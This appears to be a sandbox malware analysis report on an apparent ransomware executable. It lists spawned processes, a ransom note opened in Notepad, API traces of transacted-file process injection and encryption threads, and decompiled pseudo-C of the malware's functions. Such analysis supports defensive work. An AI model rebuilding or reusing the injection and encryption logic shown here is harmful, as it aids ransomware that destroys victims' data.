Commandline:	'C:\Users\user\Desktop\plugins\GAygkOwh9t.exe'
Imagebase:	0x1360000
File size:	141824 bytes
MD5 hash:	6F772EB660BC05FC26DF86C98CA49ABC
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: msiexec.exe PID: 2772 Parent PID: 100

General

Start time:	14:13:07
Start date:	11/05/2018
Path:	C:\Users\user\AppData\Roaming\msiexec.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Roaming\msiexec.exe
Imagebase:	0x100000000
File size:	bytes
MD5 hash:
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: msiexec.exe PID: 2016 Parent PID: 100

General

Start time:	14:13:07
Start date:	11/05/2018
Path:	C:\Users\user\AppData\Roaming\msiexec.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Roaming\msiexec.exe
Imagebase:	0x100000000
File size:	bytes
MD5 hash:
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: msiexec.exe PID: 2556 Parent PID: 100

General

Start time:	14:13:07
Start date:	11/05/2018
Path:	C:\Users\user\AppData\Roaming\msiexec.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Roaming\msiexec.exe
Imagebase:	0x100000000
File size:	bytes
MD5 hash:
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: msiexec.exe PID: 2776 Parent PID: 100

General

Start time:	14:13:07
Start date:	11/05/2018
Path:	C:\Users\user\AppData\Roaming\msiexec.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Roaming\msiexec.exe
Imagebase:	0x100000000
File size:	bytes
MD5 hash:
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: msiexec.exe PID: 1760 Parent PID: 100

General

Start time:	14:13:08
Start date:	11/05/2018
Path:	C:\Users\user\AppData\Roaming\msiexec.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Roaming\msiexec.exe
Imagebase:	0x100000000
File size:	bytes
MD5 hash:
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: msiexec.exe PID: 1680 Parent PID: 100

General

Start time:	14:13:08
Start date:	11/05/2018
Path:	C:\Windows\System32\msiexec.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\msiexec.exe
Imagebase:	0xffb40000
File size:	128000 bytes
MD5 hash:	A190DA6546501CB4146BBCC0B6A3F48B
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: notepad.exe PID: 2520 Parent PID: 1680

General

Start time:	14:15:30
Start date:	11/05/2018
Path:	C:\Windows\System32\notepad.exe
Wow64 process (32bit):	false
Commandline:	'C:\Windows\system32\NOTEPAD.EXE' C:\Users\user\Searches\==READ==THIS==PLEASE==4DE0B309.txt
Imagebase:	0xffac0000
File size:	193536 bytes
MD5 hash:	F2C7BB8ACC97F92E987A2D4087D021B1
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: GAygkOwh9t.exe PID: 100 Parent PID: 1080

Execution Graph

Execution Coverage:	21.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	39.1%
Total number of Nodes:	289
Total number of Limit Nodes:	57

Executed Functions

Function 01375AC0, Relevance: 30.3, APIs: 15, Strings: 2, Instructions: 524
nativefileinjection

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNELBASE ref: 01375BBB
GetNativeSystemInfo.KERNEL32 ref: 01375C6F
SHGetFolderPathW.SHELL32 ref: 01375D48
CreateFileW.KERNEL32 ref: 01375DCF
WriteFile.KERNEL32 ref: 01375E16
CreateFileTransactedW.KERNEL32 ref: 0137607D
WriteFile.KERNEL32 ref: 013760C4
NtCreateSection.NTDLL ref: 01376143
NtCreateProcessEx.NTDLL ref: 013761B8
RtlCreateProcessParametersEx.NTDLL ref: 013762B0
VirtualAllocEx.KERNEL32 ref: 01376326
WriteProcessMemory.KERNEL32 ref: 0137638C
NtQueryInformationProcess.NTDLL ref: 013763E1
WriteProcessMemory.KERNEL32 ref: 01376442
NtCreateThreadEx.NTDLL ref: 01376503

Strings

RollbackTransaction, xrefs: 01375C05
CreateTransaction, xrefs: 01375BDF

Memory Dump Source

Source File: 00000004.00000002.16910136141.0000000001361000.00000020.sdmp, Offset: 01360000, based on PE: true

Associated: 00000004.00000002.16910117385.0000000001360000.00000002.sdmp
Associated: 00000004.00000002.16910248687.000000000137B000.00000002.sdmp
Associated: 00000004.00000002.16910273893.0000000001380000.00000004.sdmp
Associated: 00000004.00000002.16910301555.0000000001385000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1360000_GAygkOwh9t.jbxd

Function 01374B90, Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 236
library

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32 ref: 01374C65
CreateToolhelp32Snapshot.KERNEL32 ref: 01374D0B
Process32FirstW.KERNEL32 ref: 01374D49
K32EnumProcessModules.KERNEL32 ref: 01374DFA
K32GetModuleFileNameExW.KERNEL32 ref: 01374E5E
Process32NextW.KERNEL32 ref: 01374EEE

Strings

?c:{, xrefs: 01374D4B

Memory Dump Source

Source File: 00000004.00000002.16910136141.0000000001361000.00000020.sdmp, Offset: 01360000, based on PE: true

Associated: 00000004.00000002.16910117385.0000000001360000.00000002.sdmp
Associated: 00000004.00000002.16910248687.000000000137B000.00000002.sdmp
Associated: 00000004.00000002.16910273893.0000000001380000.00000004.sdmp
Associated: 00000004.00000002.16910301555.0000000001385000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1360000_GAygkOwh9t.jbxd

Function 01378FD0, Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 219
threadnetwork

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE ref: 0137901D
SHGetFolderPathW.SHELL32 ref: 01379174
WSAStartup.WS2_32 ref: 0137929C
CreateThread.KERNEL32 ref: 013792E8

Strings

\\?\C:\Users\user\Desktop, xrefs: 01379128, 0137932B
C:\Users\user\Desktop\plugins\GAygkOwh9t.exe, xrefs: 013790F2, 013791B2, 013791FC, 0137931F
02oF, xrefs: 01379285

Memory Dump Source

Source File: 00000004.00000002.16910136141.0000000001361000.00000020.sdmp, Offset: 01360000, based on PE: true

Associated: 00000004.00000002.16910117385.0000000001360000.00000002.sdmp
Associated: 00000004.00000002.16910248687.000000000137B000.00000002.sdmp
Associated: 00000004.00000002.16910273893.0000000001380000.00000004.sdmp
Associated: 00000004.00000002.16910301555.0000000001385000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1360000_GAygkOwh9t.jbxd

Function 0136A9D0, Relevance: 10.9, APIs: 7, Instructions: 381
filetime

Control-flow Graph

Executed
Not Executed

APIs

SetFilePointerEx.KERNEL32 ref: 0136ABD8
ReadFile.KERNEL32 ref: 0136AC01
CreateFileMappingW.KERNEL32 ref: 0136ACB6
MapViewOfFile.KERNEL32 ref: 0136ADB7
SetFilePointerEx.KERNEL32 ref: 0136AF37
WriteFile.KERNEL32 ref: 0136AF6B
SetFileTime.KERNELBASE ref: 0136B004

Memory Dump Source

Source File: 00000004.00000002.16910136141.0000000001361000.00000020.sdmp, Offset: 01360000, based on PE: true

Associated: 00000004.00000002.16910117385.0000000001360000.00000002.sdmp
Associated: 00000004.00000002.16910248687.000000000137B000.00000002.sdmp
Associated: 00000004.00000002.16910273893.0000000001380000.00000004.sdmp
Associated: 00000004.00000002.16910301555.0000000001385000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1360000_GAygkOwh9t.jbxd

Function 01378FD0, Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 219threadnetwork

APIs

SetErrorMode.KERNELBASE ref: 0137901D
SHGetFolderPathW.SHELL32 ref: 01379174
WSAStartup.WS2_32 ref: 0137929C
CreateThread.KERNEL32 ref: 013792E8

Strings

02oF, xrefs: 01379285

Memory Dump Source

Source File: 00000004.00000001.16860839938.0000000001361000.00000020.sdmp, Offset: 01360000, based on PE: true

Associated: 00000004.00000001.16860825994.0000000001360000.00000002.sdmp
Associated: 00000004.00000001.16861002052.000000000137B000.00000002.sdmp
Associated: 00000004.00000001.16861026864.0000000001380000.00000004.sdmp
Associated: 00000004.00000001.16861049239.0000000001382000.00000008.sdmp
Associated: 00000004.00000001.16861061938.0000000001383000.00000004.sdmp
Associated: 00000004.00000001.16861078227.0000000001385000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_1_1360000_GAygkOwh9t.jbxd

Function 01379780, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 96
encryptionthread

Control-flow Graph

Executed
Not Executed

APIs

CryptAcquireContextA.ADVAPI32 ref: 013797DA
CreateThread.KERNEL32 ref: 01379883
WaitForMultipleObjects.KERNEL32 ref: 013798BA

Strings

@, xrefs: 013797C7

Memory Dump Source

Source File: 00000004.00000002.16910136141.0000000001361000.00000020.sdmp, Offset: 01360000, based on PE: true

Associated: 00000004.00000002.16910117385.0000000001360000.00000002.sdmp
Associated: 00000004.00000002.16910248687.000000000137B000.00000002.sdmp
Associated: 00000004.00000002.16910273893.0000000001380000.00000004.sdmp
Associated: 00000004.00000002.16910301555.0000000001385000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1360000_GAygkOwh9t.jbxd

Function 01376700, Relevance: 6.0, APIs: 2, Strings: 1, Instructions: 711
threadCrypto

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 39%

			E01376700(void* __edi, void* __esp, void* __eflags, long long __rcx, long long __rdx, long long _a8, long long _a16) {
				void* _v534;
				short _v536;
				void* _v548;
				void* _v572;
				void* _v594;
				short _v596;
				void* _v608;
				void* _v620;
				void* _v640;
				long long _v648;
				char _v660;
				char _v664;
				intOrPtr _v668;
				long long _v672;
				void* _v676;
				long long _v680;
				void* _v684;
				void* _v692;
				long long _v700;
				void* _v708;
				void* _v716;
				void* _v764;
				void* _v772;
				long long _v780;
				void* _v784;
				void* _v792;
				signed int _v796;
				long long _v808;
				long long _v812;
				long long _v820;
				long long _v828;
				long long _v832;
				intOrPtr _v836;
				long long _v840;
				long long _v856;
				long long _v864;
				long long _v876;
				intOrPtr _v880;
				long long _v888;
				long long _v892;
				long long _v896;
				long long _v900;
				long long _v904;
				long long _v908;
				long long _v912;
				intOrPtr _v916;
				void* _v924;
				void* _v928;
				long long _v932;
				void* _v936;
				long long _v940;
				void* _v944;
				long long _v948;
				long long _v952;
				long long _v956;
				long long _v960;
				long long _v964;
				long long _v968;
				char _v972;
				long long _v976;
				long long _v980;
				long long _v984;
				long long _v988;
				void* _v996;
				long long _v1004;
				void* _v1008;
				long long _v1012;
				long long _v1020;
				long long _v1024;
				long long _v1028;
				long long _v1032;
				long long _v1036;
				long long _v1044;
				void* _t359;
				long _t375;
				intOrPtr _t376;
				void* _t387;
				void* _t502;
				void* _t503;
				void* _t504;
				void* _t505;
				void* _t506;
				void* _t510;
				void* _t511;
				long long _t525;
				long long _t540;
				long long _t551;
				signed long long _t572;
				long long _t622;
				long long _t656;
				signed long long _t666;
				void* _t833;
				void* _t834;

				_a16 = __rdx;
				_a8 = __rcx;
				_t834 = _t833 - 0x3f0;
				_v536 = 0;
				memset(__edi, 0, 0x208 << 0);
				_t502 = __edi + 0x208;
				 *((long long*)( *0x01362533 + 0x243d4b))();
				E0136B3B0(E0136B3E0( &_v708, 0x137dfa0), 0x137dfa0);
				_v716 = 0x137dfa0;
				E0136B3C0( *0x01370D00(),  &_v708);
				_t525 =  *0x01362283 - 0x4815a4ec;
				 *_t525();
				_v828 = _t525;
				_v700 = _v828;
				_v812 = _v828 +  *((intOrPtr*)(_v700 + 0x3c));
				_v596 = 0;
				memset(_t502, 0, 0x22 << 0);
				_t510 = __esp + 0x18;
				_t503 = _t502 + 0x22;
				r9d = 0xf;
				 *0xFFFFFFFF9F1D02EC(); // executed
				_v912 = 0x13748a0;
				if(_v912 != 0) {
					_v952 = 0;
					memset(_t503, 0, 8 << 0);
					_t511 = _t510 + 0xc;
					_t504 = _t503 + 8;
					r8d =  *((intOrPtr*)(_v836 + 0x28));
					_t359 =  *0x01374F80(); // executed
					if(_t359 != 0) {
						_v948 = 0;
						_v972 = 0;
						_v940 = 0;
						_v912 = 0;
						while(_v912 < 5) {
							 *0xFFFFFFFFCEA05FC5(); // executed
							_v972 = 0x1375ac0;
							if(_v972 == 0) {
								L16:
								L5:
								_v912 = _v912 + 1;
								continue;
							}
							_t656 =  *0x013611A3 + 0x22763f;
							r9d = 0;
							r8d = 0;
							 *_t656();
							_v940 = _t656;
							_v716 =  *0x0136125A + 0x326dd0;
							_v1004 = 2;
							_v1012 = 0;
							_v1020 = 0;
							if( *_v716() != 0) {
								 *((long long*)( *((intOrPtr*)(0x1362283)) - 0x4815a4ec))();
								_v708 = 0x1374930;
								r8d = 0;
								if( *_v708() != 0) {
									 *0x013830C8();
									_v772 = 0;
									memset(_t504, 0, 8 << 0);
									_t511 = _t511 + 0xc;
									_t504 = _t504 + 8;
									_t666 =  &_v764 * 0;
									 *((long long*)(_t834 + _t666 + 0x118)) = _v952;
									 *((long long*)(_t834 + _t666 + 0x118)) = _v960;
									r9d = 0x7530;
									r8d = 0;
									_v880 =  *((long long*)( *0x01362323 + 0x154e18))();
									 *((long long*)( *0x0136203A - 0x4ec641ef))();
									 *((long long*)( *((intOrPtr*)(0x136203a)) - 0x4ec641ef))();
									 *((long long*)( *((intOrPtr*)(0x136203a)) - 0x4ec641ef))();
									if(_v880 != 0) {
										goto L16;
									}
									 *((long long*)( *((intOrPtr*)(0x136203a)) - 0x4ec641ef))();
									if(_v976 != 0) {
										 *0x0136FE30();
									}
									_v976 = 0;
									_v968 = 0;
									_t387 = 1;
									goto L80;
								}
								 *((long long*)( *0x01361673 - 0x7a9555d))();
								 *((long long*)( *((intOrPtr*)(0x136203a)) - 0x4ec641ef))();
								 *((long long*)( *((intOrPtr*)(0x136203a)) - 0x4ec641ef))();
								 *((long long*)( *((intOrPtr*)(0x136203a)) - 0x4ec641ef))();
								goto L5;
							}
							 *((long long*)( *((intOrPtr*)(0x1361673)) - 0x7a9555d))();
							 *((long long*)( *((intOrPtr*)(0x136203a)) - 0x4ec641ef))();
							 *((long long*)( *((intOrPtr*)(0x136203a)) - 0x4ec641ef))();
							 *((long long*)( *((intOrPtr*)(0x136203a)) - 0x4ec641ef))();
							goto L5;
						}
						_v932 = 0;
						_v864 = 0;
						 *0xFFFFFFFFBFA6A090();
						_v932 = 0x136fcb0;
						_v700 = 0x136fd30;
						_t540 = _v700;
						 *_t540();
						 *_v932 = _t540;
						 *((long long*)(_v932 + 8)) = _v956 + 8;
						_v692 = 0x136fe50;
						 *_v692();
						_v908 = 0;
						while(_v908 < 5) {
							 *0xFFFFFFFFCE56C55B(); // executed
							_v972 = 0x1375610;
							if(_v972 != 0) {
								break;
							}
							_v908 = _v908 + 1;
						}
						if( *_v932 != 0) {
							 *((long long*)(0x136fe30))();
						}
						 *_v932 = 0;
						 *((long long*)(_v932 + 8)) = 0;
						if(_v932 != 0) {
							 *((long long*)(0x136fe30))();
						}
						_v932 = 0;
						_t551 =  *((intOrPtr*)(0x13611a3)) + 0x22763f;
						r9d = 0;
						r8d = 0;
						 *_t551();
						_v940 = _t551;
						_v684 =  *((intOrPtr*)(0x136125a)) + 0x326dd0;
						_v1004 = 2;
						_v1012 = 0;
						_v1020 = 0;
						if( *_v684() != 0) {
							 *((long long*)( *((intOrPtr*)(0x1362283)) - 0x4815a4ec))();
							_v676 = 0x1374930;
							r8d = 0;
							if( *_v676() != 0) {
								_v892 = 0;
								_v876 = 0;
								_v900 = 0;
								_v820 = 0;
								memset(_t504, 0, 0x28 << 0);
								_t505 = _t504 + 0x28;
								_v928 = 0;
								while(0 != 1) {
									 *0x0136FF40();
									_v1024 = 0;
									_v1032 = 0x30;
									r8d = 0;
									 *0x013830F0();
									_v916 = 0;
									if(_v832 != 0 || _v904 == 0) {
										if(_v916 == 0) {
											_v904 = _v904 + _v808;
											if((_v796 & 0x00000001) != 0 || (_v796 & 0x00000100) != 0) {
											} else {
												 *0xFFFFFFFFE3D5D740(); // executed
												_v912 = 0x136fcb0;
												if((_v796 & 0x00000001) != 0 || (_v796 & 0x00000100) != 0) {
												} else {
													if(_v808 <= 0x7fffffff) {
														_t622 = _v832;
														_v840 = _t622;
														while(_v808 > 0) {
															if(_v808 <= 0x100000) {
																_v896 = _v808;
															} else {
																_v896 = 0x100000;
															}
															_v892 = _v896;
															_v808 = _v808 - _t622;
															_v680 = 0x13830f8;
															_v1032 =  &_v928;
															r9d = _v892;
															_t622 = _v680;
															_v916 =  *_t622();
															if(_v916 != 0) {
																L57:
																continue;
															} else {
																_v856 = 0;
																_v672 = 0x13700f0;
																r9d = 0x2c;
																_t622 = _v672;
																 *_t622();
																_v856 = _t622;
																if(_v856 == 0) {
																	goto L57;
																}
																_v888 = _v840 + _v856 - _v912;
																break;
															}
														}
														if(_v912 != 0) {
															HeapFree(); // executed
														}
														_v912 = 0;
														if(_v888 == 0) {
															continue;
														} else {
															break;
														}
													}
												}
											}
											continue;
										}
										goto L40;
									} else {
										L40:
										break;
									}
								}
								if(_v888 != 0) {
									_v664 = 0;
									_v904 = _v888;
									_v928 = _v968;
									_v1032 =  &_v664;
									r9d = 0x40;
									if( *0x013830D8() == 0) {
										 *((long long*)( *((intOrPtr*)(0x136203a)) - 0x4ec641ef))();
										_v648 = 0;
										memset(_t505, 0, 8 << 0);
										_t506 = _t505 + 8;
										_v1004 =  &_v660;
										_v1012 =  &_v972;
										_v1020 = 0;
										_v1028 = _v900;
										_v1036 = 0;
										_v1044 = 0;
										r9d = 0;
										r8b = 1;
										_t375 = RtlCreateUserThread(??, ??, ??, ??, ??, ??, ??, ??, ??, ??); // executed
										if(_t375 == 0) {
											_t376 =  *0x01376650(); // executed
											_v668 = _t376;
											 *((intOrPtr*)(0x13830c8))();
											if(_v988 != 0) {
												 *((long long*)(0x136fe30))();
											}
											_v988 = 0;
											_v980 = 0;
											_v780 = 0;
											memset(_t506, 0, 8 << 0);
											_t572 =  &_v772 * 0;
											 *((long long*)(_t834 + _t572 + 0x128)) = _v976;
											 *((long long*)(_t834 + _t572 + 0x128)) = _v984;
											r9d = 0x7530;
											r8d = 0;
											_v896 =  *((long long*)( *((intOrPtr*)(0x1362323)) + 0x154e18))();
											 *((long long*)( *((intOrPtr*)(0x136203a)) - 0x4ec641ef))();
											 *((long long*)( *((intOrPtr*)(0x136203a)) - 0x4ec641ef))();
											 *((long long*)( *((intOrPtr*)(0x136203a)) - 0x4ec641ef))();
											 *((long long*)( *((intOrPtr*)(0x136203a)) - 0x4ec641ef))();
											if(_v896 != 0) {
												_t387 = 0;
											} else {
												_t387 = 1;
											}
										} else {
											if(_v988 != 0) {
												 *((long long*)(0x136fe30))();
											}
											_v988 = 0;
											_v980 = 0;
											 *((long long*)( *((intOrPtr*)(0x136203a)) - 0x4ec641ef))();
											 *((long long*)( *((intOrPtr*)(0x136203a)) - 0x4ec641ef))();
											 *((long long*)( *((intOrPtr*)(0x136203a)) - 0x4ec641ef))();
											_t387 = 0;
										}
									} else {
										if(_v976 != 0) {
											 *((long long*)(0x136fe30))();
										}
										_v976 = 0;
										_v968 = 0;
										 *((long long*)( *((intOrPtr*)(0x136203a)) - 0x4ec641ef))();
										 *((long long*)( *((intOrPtr*)(0x136203a)) - 0x4ec641ef))();
										 *((long long*)( *((intOrPtr*)(0x136203a)) - 0x4ec641ef))();
										 *((long long*)( *((intOrPtr*)(0x136203a)) - 0x4ec641ef))();
										_t387 = 0;
									}
								} else {
									if(_v976 != 0) {
										 *((long long*)(0x136fe30))();
									}
									_v976 = 0;
									_v968 = 0;
									 *((long long*)( *((intOrPtr*)(0x136203a)) - 0x4ec641ef))();
									 *((long long*)( *((intOrPtr*)(0x136203a)) - 0x4ec641ef))();
									 *((long long*)( *((intOrPtr*)(0x136203a)) - 0x4ec641ef))();
									 *((long long*)( *((intOrPtr*)(0x136203a)) - 0x4ec641ef))();
									_t387 = 0;
								}
								goto L80;
							}
							if(_v964 != 0) {
								 *((long long*)(0x136fe30))();
							}
							_v964 = 0;
							_v956 = 0;
							 *((long long*)( *((intOrPtr*)(0x136203a)) - 0x4ec641ef))();
							 *((long long*)( *((intOrPtr*)(0x136203a)) - 0x4ec641ef))();
							 *((long long*)( *((intOrPtr*)(0x136203a)) - 0x4ec641ef))();
							 *((long long*)( *((intOrPtr*)(0x136203a)) - 0x4ec641ef))();
							_t387 = 0;
						} else {
							if(_v964 != 0) {
								 *((long long*)(0x136fe30))();
							}
							_v964 = 0;
							_v956 = 0;
							 *((long long*)( *((intOrPtr*)(0x136203a)) - 0x4ec641ef))();
							 *((long long*)( *((intOrPtr*)(0x136203a)) - 0x4ec641ef))();
							 *((long long*)( *((intOrPtr*)(0x136203a)) - 0x4ec641ef))();
							_t387 = 0;
						}
					} else {
						 *((long long*)( *((intOrPtr*)(0x136203a)) - 0x4ec641ef))();
						_t387 = 0;
					}
					goto L80;
				} else {
					_t387 = 0;
					L80:
					return _t387;
				}
			}

0x01376700
0x01376705
0x0137670b
0x01376714
0x0137672e
0x0137672e
0x0137674a
0x0137676c
0x01376771
0x013767a7
0x013767b3
0x013767bb
0x013767bd
0x013767cd
0x013767ef
0x013767f9
0x01376813
0x01376813
0x01376813
0x01376822
0x0137683a
0x0137683c
0x0137684d
0x01376856
0x0137686e
0x0137686e
0x0137686e
0x0137688a
0x013768a1
0x013768a5
0x013768c5
0x013768ce
0x013768d7
0x013768e0
0x013768fd
0x0137692a
0x0137692c
0x01376937
0x01376bd6
0x013768ed
0x013768f6
0x00000000
0x013768f6
0x01376944
0x0137694a
0x0137694d
0x01376954
0x01376956
0x01376984
0x0137698c
0x01376994
0x0137699c
0x013769c0
0x01376a28
0x01376a38
0x01376a40
0x01376a5a
0x01376ac7
0x01376ac9
0x01376ae7
0x01376ae7
0x01376ae7
0x01376aee
0x01376af7
0x01376b0d
0x01376b22
0x01376b28
0x01376b3a
0x01376b53
0x01376b67
0x01376b7b
0x01376b85
0x00000000
0x00000000
0x01376b9c
0x01376ba4
0x01376bb8
0x01376bb8
0x01376bba
0x01376bc3
0x01376bcc
0x00000000
0x01376bcc
0x01376a70
0x01376a84
0x01376a98
0x01376aac
0x00000000
0x01376aac
0x013769d6
0x013769ea
0x013769fe
0x01376a12
0x00000000
0x01376a12
0x01376bdb
0x01376be4
0x01376c06
0x01376c08
0x01376c24
0x01376c2f
0x01376c37
0x01376c3e
0x01376c4f
0x01376c6d
0x01376c8a
0x01376c8c
0x01376ca9
0x01376cd9
0x01376cdb
0x01376ce6
0x00000000
0x01376cea
0x01376ca2
0x01376ca2
0x01376cf7
0x01376d0e
0x01376d0e
0x01376d15
0x01376d21
0x01376d2f
0x01376d43
0x01376d43
0x01376d45
0x01376d55
0x01376d5b
0x01376d5e
0x01376d65
0x01376d67
0x01376d95
0x01376d9d
0x01376da5
0x01376dad
0x01376dd1
0x01376e53
0x01376e63
0x01376e6b
0x01376e85
0x01376f13
0x01376f1f
0x01376f2b
0x01376f37
0x01376f55
0x01376f55
0x01376f57
0x01376f62
0x01376f87
0x01376f96
0x01376f9f
0x01376fb0
0x01376fc0
0x01376fc2
0x01376fd2
0x01376fe7
0x01377004
0x01377018
0x0137702f
0x01377046
0x01377048
0x0137705c
0x01377073
0x0137707f
0x01377086
0x0137708e
0x01377096
0x013770b1
0x013770c7
0x013770b3
0x013770b3
0x013770b3
0x013770d5
0x013770f1
0x0137710e
0x0137711e
0x01377123
0x0137713b
0x01377145
0x01377154
0x013771dd
0x00000000
0x0137715a
0x0137715a
0x0137717b
0x01377183
0x01377198
0x013771a0
0x013771a2
0x013771b3
0x00000000
0x00000000
0x013771d3
0x00000000
0x013771d3
0x01377154
0x013771eb
0x01377202
0x01377202
0x01377204
0x01377219
0x00000000
0x0137721b
0x00000000
0x0137721b
0x01377219
0x01377081
0x0137705c
0x00000000
0x01377018
0x00000000
0x01376fe9
0x01376fe9
0x00000000
0x01376fe9
0x01376fd2
0x0137722b
0x013772b9
0x013772cd
0x013772d9
0x013772f5
0x013772fa
0x01377319
0x013773b9
0x013773bb
0x013773d9
0x013773d9
0x013773f0
0x013773fa
0x013773ff
0x01377410
0x01377415
0x0137741e
0x01377427
0x0137742a
0x01377434
0x01377438
0x013774c8
0x013774ca
0x013774e5
0x013774ed
0x01377501
0x01377501
0x01377503
0x0137750c
0x01377515
0x01377533
0x0137753a
0x01377543
0x01377559
0x0137756e
0x01377574
0x01377586
0x0137759f
0x013775b3
0x013775c7
0x013775de
0x013775e8
0x013775f1
0x013775ea
0x013775ea
0x013775ea
0x0137743a
0x01377440
0x01377454
0x01377454
0x01377456
0x0137745f
0x0137747a
0x0137748e
0x013774a5
0x013774a7
0x013774a7
0x0137731f
0x01377325
0x01377339
0x01377339
0x0137733b
0x01377344
0x0137735f
0x01377373
0x01377387
0x0137739e
0x013773a0
0x013773a0
0x01377231
0x01377237
0x0137724b
0x0137724b
0x0137724d
0x01377256
0x01377271
0x01377285
0x01377299
0x013772b0
0x013772b2
0x013772b2
0x00000000
0x0137722b
0x01376e91
0x01376ea5
0x01376ea5
0x01376ea7
0x01376eb0
0x01376ecb
0x01376edf
0x01376ef3
0x01376f0a
0x01376f0c
0x01376dd3
0x01376dd9
0x01376ded
0x01376ded
0x01376def
0x01376df8
0x01376e13
0x01376e27
0x01376e3b
0x01376e3d
0x01376e3d
0x013768a7
0x013768bc
0x013768be
0x013768be
0x00000000
0x0137684f
0x0137684f
0x013775f3
0x013775fb
0x013775fb

APIs

HeapFree.KERNEL32 ref: 01377202
RtlCreateUserThread.NTDLL ref: 01377434

Strings

0, xrefs: 01376F9F

Memory Dump Source

Source File: 00000004.00000002.16910136141.0000000001361000.00000020.sdmp, Offset: 01360000, based on PE: true

Associated: 00000004.00000002.16910117385.0000000001360000.00000002.sdmp
Associated: 00000004.00000002.16910248687.000000000137B000.00000002.sdmp
Associated: 00000004.00000002.16910273893.0000000001380000.00000004.sdmp
Associated: 00000004.00000002.16910301555.0000000001385000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1360000_GAygkOwh9t.jbxd

Function 01371DA0, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46

Control-flow Graph

Executed
Not Executed

APIs

GetLogicalDriveStringsW.KERNELBASE ref: 01371DBC
GetLogicalDriveStringsW.KERNELBASE ref: 01371DFA

Strings

;KT), xrefs: 01371DAA

Memory Dump Source

Source File: 00000004.00000002.16910136141.0000000001361000.00000020.sdmp, Offset: 01360000, based on PE: true

Associated: 00000004.00000002.16910117385.0000000001360000.00000002.sdmp
Associated: 00000004.00000002.16910248687.000000000137B000.00000002.sdmp
Associated: 00000004.00000002.16910273893.0000000001380000.00000004.sdmp
Associated: 00000004.00000002.16910301555.0000000001385000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1360000_GAygkOwh9t.jbxd

Function 0136B040, Relevance: 4.7, APIs: 3, Instructions: 200

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameExW.KERNELBASE ref: 0136B115
GetComputerNameW.KERNEL32 ref: 0136B16D
GetUserNameW.ADVAPI32 ref: 0136B1AB

Memory Dump Source

Source File: 00000004.00000002.16910136141.0000000001361000.00000020.sdmp, Offset: 01360000, based on PE: true

Associated: 00000004.00000002.16910117385.0000000001360000.00000002.sdmp
Associated: 00000004.00000002.16910248687.000000000137B000.00000002.sdmp
Associated: 00000004.00000002.16910273893.0000000001380000.00000004.sdmp
Associated: 00000004.00000002.16910301555.0000000001385000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1360000_GAygkOwh9t.jbxd

Function 01378D80, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 118

C-Code - Quality: 77%

			E01378D80(void* __edi, void* __esp, long long __rcx, long long __rdx, long long _a8, long long _a16) {
				void* _v20;
				void* _v28;
				void* _v592;
				void* _v620;
				intOrPtr _v624;
				void* _v636;
				void* _v1138;
				short _v1140;
				void* _v1152;
				void* _v1164;
				void* _v1654;
				short _v1656;
				void* _v1668;
				void* _v1680;
				char _v1688;
				signed int _v1692;
				void* _v1696;
				intOrPtr _v1704;
				long long _v1708;
				long long _v1724;
				intOrPtr _v1740;
				void* _t88;

				_a16 = __rdx;
				_a8 = __rcx;
				_v1704 = 0;
				_v1656 = 0;
				memset(__edi, 0, 0x208 << 0);
				_t88 = __edi + 0x208;
				if(( *(0x1383770 +  &_v1654 * 0) & 0x0000ffff) != 0) {
					r8d = 0xffffffff;
					 *0x01370CE0();
					 *0xFFFFFFFF887C4C32();
					_v1692 = 0x1370c00;
					if(( *(0x1383560 + _v1692 * 2 - 2) & 0x0000ffff) != 0x5c) {
						 *0x01370D00();
					}
				} else {
					r8d = 0xffffffff;
					 *((long long*)(0x1370ce0))();
					 *0xFFFFFFFFAF9ED3B9();
					_v1708 = 0x1370bc0;
					if(_v1708 != 0) {
						 *((short*)(_v1708 + 2)) = 0;
					}
				}
				_v1140 = 0;
				memset(_t88, 0, 0x208 << 0);
				E0136B3B0(E0136B3E0( &_v1688, 0x137e128), 0x137e128);
				_v1696 = 0x1370d10;
				E0136B3C0( *_v1696(),  &_v1688);
				_v624 = 0;
